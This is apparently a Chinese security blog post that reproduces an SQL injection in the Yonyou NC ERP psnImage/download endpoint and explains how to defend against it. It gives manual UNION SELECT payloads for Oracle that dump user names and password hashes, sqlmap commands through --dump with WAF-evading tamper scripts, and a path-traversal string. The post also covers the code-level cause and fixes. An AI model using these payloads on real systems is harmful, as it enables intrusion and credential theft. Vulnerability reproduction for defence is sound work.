用友NC psnImage/download接口SQL注入漏洞复现与防御分析

📅 2026/6/26 21:48:59
用友NC psnImage/download接口SQL注入漏洞复现与防御分析
1. 项目概述一次典型的企业级应用漏洞深度剖析最近在整理一些历史漏洞的复现笔记翻到了用友NC这个老牌ERP系统的一个经典案例——psnImage/download接口的SQL注入漏洞。这个漏洞本身并不复杂但它的出现场景和利用方式非常典型地反映了早期企业级应用在安全开发流程上的缺失。对于从事安全研究、渗透测试或者企业安全运维的朋友来说这类漏洞的复现和分析过程是理解“黑盒测试”到“代码审计”之间逻辑链条的绝佳练手材料。它不像那些需要复杂链式利用的RCE远程代码执行漏洞SQL注入的机理直接明了但危害同样巨大可以直接导致核心业务数据泄露。今天我就以一个内部测试环境为背景带大家完整走一遍这个漏洞的复现、分析与思考过程重点不仅在于“怎么做”更在于“为什么能这么做”以及“如何举一反三”。用友NC作为国内市场份额极高的集团型ERP解决方案其代码量庞大模块众多。psnImage/download这个接口从路径名推测很可能与人员psn可能指Person图片或头像的下载功能相关。在早期的开发模式中开发者往往更关注功能实现直接将前端传入的参数拼接进SQL语句而没有经过严格的预处理这就为SQL注入埋下了伏笔。复现这类漏洞你需要准备一个存在漏洞的用友NC环境可以是历史版本搭建的测试环境一个抓包工具如Burp Suite以及基本的SQL注入知识。整个过程我们将从信息收集开始到漏洞点探测、利用验证最后进行简单的原理推演和防御思考。2. 漏洞环境搭建与前期信息收集2.1 测试环境构建要点复现任何漏洞第一步永远是搭建一个安全、隔离的测试环境。对于用友NC这类复杂系统我强烈建议使用虚拟机进行部署。你可以在一些开源漏洞平台或者历史镜像存档中找到存在漏洞的NC版本安装包。部署过程需遵循官方文档通常涉及JDK、中间件如WebLogic、Tomcat和数据库如Oracle、SQL Server的安装与配置。这里有个关键点务必确保测试环境与互联网及其他内部生产网络物理隔离。所有操作的目的仅限于技术研究理解漏洞成因提升防御能力。部署成功后访问系统首页尝试使用默认或弱口令账号如早期版本可能存在的nc/nc登录确认基本功能可用。我们的目标接口psnImage/download通常不需要高权限即可访问因为它可能被用于前台显示用户头像等功能这恰恰降低了利用门槛。2.2 关键接口发现与初步探测在未获得源代码的情况下我们的入口点就是网络请求。启动Burp Suite配置浏览器代理然后在使用NC系统时留意任何与“psnImage”、“download”、“image”等关键词相关的HTTP请求。一个常见的方法是在查看组织人员信息的页面打开浏览器开发者工具的“网络”Network选项卡刷新页面观察所有的图片请求URL。你可能会发现一个类似这样的请求http://target_ip:port/uap/psnImage/download?paramsxxxxx或者路径可能略有不同但核心是找到包含psnImage/download的访问点。参数名可能是params、id、code等其值看起来可能是一串编码后的字符串或直接的数字ID。用Burp Suite的Repeater模块捕获这个请求我们接下来的所有测试都将基于此进行。注意在测试开始前请务必在Burp Suite的Project options-Misc中关闭“被动扫描”功能并在Target-Scope中设置好目标范围避免对非目标系统造成意外请求。3. 漏洞原理分析与手工注入验证3.1 SQL注入点判断与类型识别捕获到疑似请求后我们先进行最基础的注入点探测。假设原始请求参数为params1001我们尝试在参数值后添加SQL注入的“探针”数字型注入探测将参数改为params10011观察返回结果是否与params1002相同。如果相同说明参数可能被直接用于算术运算是数字型注入。字符型注入探测更常见的是字符型。我们尝试添加一个单引号params1001。如果页面返回了数据库错误信息如ORA-xxxxx, SQL语法错误等这几乎就是注入存在的铁证。如果页面返回空白、报错或与正常响应明显不同也提示可能存在注入。逻辑真假测试这是更可靠的方法。构造永真条件和永假条件。永真params1001 AND 11或params1001 OR 11永假params1001 AND 12观察两种情况下服务器返回的页面内容如图片是否正常加载、页面布局、返回数据长度等是否存在差异。如果有明显差异说明我们的输入影响了SQL查询的逻辑注入点确认。在用友NC的这个案例中实际测试发现对params参数提交1001后服务器返回了包含“SQLException”字样的错误页面直接暴露了后端数据库为Oracle并且错误信息中部分显示了拼接后的SQL语句片段。这属于非常明显的错误回显极大便利了我们的注入利用。3.2 手工联合查询Union Select获取数据确认注入点且存在回显后我们可以使用经典的UNION SELECT技术来获取数据。步骤如下确定字段数使用ORDER BY子句。params1001 ORDER BY 5--。不断递增数字5,6,7...直到页面报错。假设ORDER BY 7时报错ORDER BY 6正常则说明当前查询语句返回的字段数为6。注释符--Oracle中需为--后跟一个空格用于注释掉原SQL语句后面的部分。探测回显点在已知字段数例如6后构造联合查询观察哪个字段的内容会显示在页面上。params1001 UNION SELECT null, null, null, null, null, null FROM DUAL--由于是Oracle数据库我们需要FROM DUAL。然后依次将null替换为有辨识度的字符串如a,b或者数字1,2。params1001 UNION SELECT 位置1, 位置2, 位置3, 位置4, 位置5, 位置6 FROM DUAL--查看页面响应看哪个字符串出现在了页面的某个位置可能是图片链接错误信息中的某个字段也可能是直接的数据返回这些位置就是我们可以控制的数据回显点。获取数据库信息利用回显点查询系统表。查询当前用户SELECT user FROM DUAL查询数据库版本SELECT banner FROM v$version WHERE rownum1例如如果第2、3个字段回显params1001 UNION SELECT null, user, (SELECT banner FROM v$version WHERE rownum1), null, null, null FROM DUAL--枚举表名和列名这是关键一步目的是找到存储敏感数据的表。在Oracle中我们可以查询ALL_TABLES和ALL_TAB_COLUMNS。枚举当前用户有权限的表params1001 UNION SELECT null, table_name, null, null, null, null FROM user_tables--。你可能需要结合OFFSET和ROWNUM来翻页查看所有表。假设发现一个名为SM_USER的表这很常见用于存储用户信息接下来枚举其列名params1001 UNION SELECT null, column_name, null, null, null, null FROM user_tab_columns WHERE table_name SM_USER--。拖取敏感数据最后直接从目标表查询数据。假设SM_USER表有USER_CODE用户名、USER_PASSWORD密码哈希等字段。params1001 UNION SELECT null, USER_CODE, USER_PASSWORD, null, null, null FROM SM_USER--通过以上步骤我们就能手工获取到数据库中的核心业务数据例如系统用户账号和加密后的密码。实操心得在手工注入时Burp Suite的Repeater和Decoder模块是你的左膀右臂。遇到参数被编码的情况如Base64、URL编码先用Decoder解码修改payload后再编码回去发送。同时注意观察响应内容的细微差别有时数据可能隐藏在JSON响应体、HTML注释或者某个图片的二进制数据头中需要仔细查看。4. 自动化工具辅助与深度利用4.1 使用Sqlmap进行高效验证与利用虽然手工注入能加深理解但在实战或快速验证时Sqlmap这样的自动化工具能极大提升效率。我们利用前面Burp Suite捕获的请求将其保存为一个文本文件如req.txt。# 基础探测确认注入点 sqlmap -r req.txt --batch --risk3 --level3 # 如果确认存在注入直接尝试获取当前数据库用户和名称 sqlmap -r req.txt --current-user --current-db # 枚举所有数据库在Oracle中这对应的是所有schema sqlmap -r req.txt --dbs # 指定数据库schema枚举其中的表 sqlmap -r req.txt -D schema_name --tables # 指定表名枚举其列 sqlmap -r req.txt -D schema_name -T table_name --columns # 最终拖取指定列的数据 sqlmap -r req.txt -D schema_name -T table_name -C “USER_CODE,USER_PASSWORD,EMAIL” --dump使用Sqlmap时有几个关键参数和技巧--batch自动选择默认选项适合非交互环境。--risk和--level提高等级可以尝试更多、更“危险”的payload有助于绕过一些简单的过滤。--tamper如果遇到WAF或简单的过滤可以尝试使用tamper脚本如space2comment,between等对payload进行混淆。谨慎使用--os-shell或--os-pwn在未获得明确授权且不了解环境的情况下尝试获取系统Shell是极其危险和不负责任的行为在合规测试中必须严格避免。4.2 漏洞根源代码级推演通过错误回显和注入结果我们可以反向推测后端代码的大致逻辑。原始的Java代码可能类似于// 伪代码展示问题 String params request.getParameter(params); // 直接从HTTP请求获取参数 String sql SELECT image_path, psn_name FROM psn_image_table WHERE id params ; // 然后执行这条sql语句...问题一目了然未经验证和过滤的用户输入直接拼接进了SQL语句。这是SQL注入最根本的原因。正确的做法应该是使用预编译语句PreparedStatement将SQL语句的结构与数据分离String sql SELECT image_path, psn_name FROM psn_image_table WHERE id ?; PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, params); // 这里会对params进行安全的类型处理注入语句会被当作普通字符串而非SQL指令。 ResultSet rs pstmt.executeQuery();5. 漏洞防御方案与安全开发建议5.1 针对此漏洞的即时修复措施如果企业在自查中发现了此类问题应立即采取以下措施紧急临时修复WAF/中间件层在应用防火墙WAF或反向代理如Nginx上针对psnImage/download接口的params参数设置严格的输入验证规则例如只允许数字或者对单引号、双引号、分号等SQL元字符进行过滤或转义。但这只是治标。代码层根本修复定位代码根据URL路径在全站代码中搜索psnImage、download等关键词找到对应的Servlet、Controller或Action类。修改实现将拼接SQL的代码改为使用预编译语句PreparedStatement。这是最有效、最根本的解决方案。参数化查询确保所有数据库操作都使用参数化查询接口。全面代码审计以这个漏洞为线索对系统中所有从HttpServletRequest获取参数并参与数据库查询、命令执行、文件操作的地方进行全面的安全审计。这类问题往往不是孤例。5.2 构建长效的安全开发体系单点修复只能解决一个问题要避免类似漏洞需要从流程上保障安全编码规范强制规定所有数据库访问必须使用参数化查询或ORM框架的安全方法如MyBatis的#{} Hibernate的参数绑定禁止字符串拼接。输入验证与过滤在业务逻辑层对输入数据进行严格的类型、长度、格式校验白名单原则优于黑名单。最小权限原则连接数据库的应用程序账号不应具有DBA权限只授予其完成业务所必需的最小权限SELECT, INSERT, UPDATE等避免通过注入点执行DROP TABLE或xp_cmdshell等危险操作。错误信息处理自定义统一的错误页面避免将数据库的详细错误信息如堆栈跟踪直接返回给前端用户这会给攻击者提供大量线索。定期安全扫描与渗透测试将静态代码安全扫描SAST和动态应用安全测试DAST纳入开发周期并定期聘请第三方进行专业的渗透测试。6. 拓展思考与同类漏洞挖掘复现一个漏洞的价值远不止于掌握一个POC概念验证。更重要的是掌握发现这类漏洞的方法论。接口枚举与模糊测试对于像用友NC这样的大型系统可以使用目录扫描工具如dirsearch, gobuster或爬虫如Burp Suite的爬虫功能结合/uap/,/portal/,/service/等常见路径批量发现可能存在问题的API接口。对每个接口的每个参数系统性地进行SQL注入、命令注入、路径遍历等测试。关注文件上传与下载接口download、upload、image、file等关键词相关的接口历来是漏洞高发区。除了SQL注入还可能存在路径遍历../../../etc/passwd、任意文件读取/上传等漏洞。参数传递模式分析观察参数是直接传递如id1还是经过编码Base64、JSON、XML。对于编码参数需要先解码再测试。有时参数可能被拼接在JSON或XML结构中注入点可能在结构内部。框架特性与历史漏洞关联了解目标系统使用的技术栈如Struts2, Spring MVC, 特定的ORM框架。搜索该技术栈的已知历史漏洞CVE尝试对应的利用方式。很多漏洞的利用模式是相通的。通过“用友NC psnImage/download SQL注入漏洞”这个具体的案例我们完成了一次从环境搭建、手工探测、工具利用到原理分析与防御建议的完整闭环。这个过程清晰地展示了一个看似简单的参数拼接如何演变成一条通往核心数据库的通道。对于安全从业者而言每一次漏洞复现都是一次与开发者思维的对话理解他们当时的疏忽才能在未来自己的代码中筑起更牢固的防线。在实战中保持好奇心坚持手动测试与工具辅助相结合并始终将合规与授权放在第一位你的安全研究之路才能走得既扎实又长远。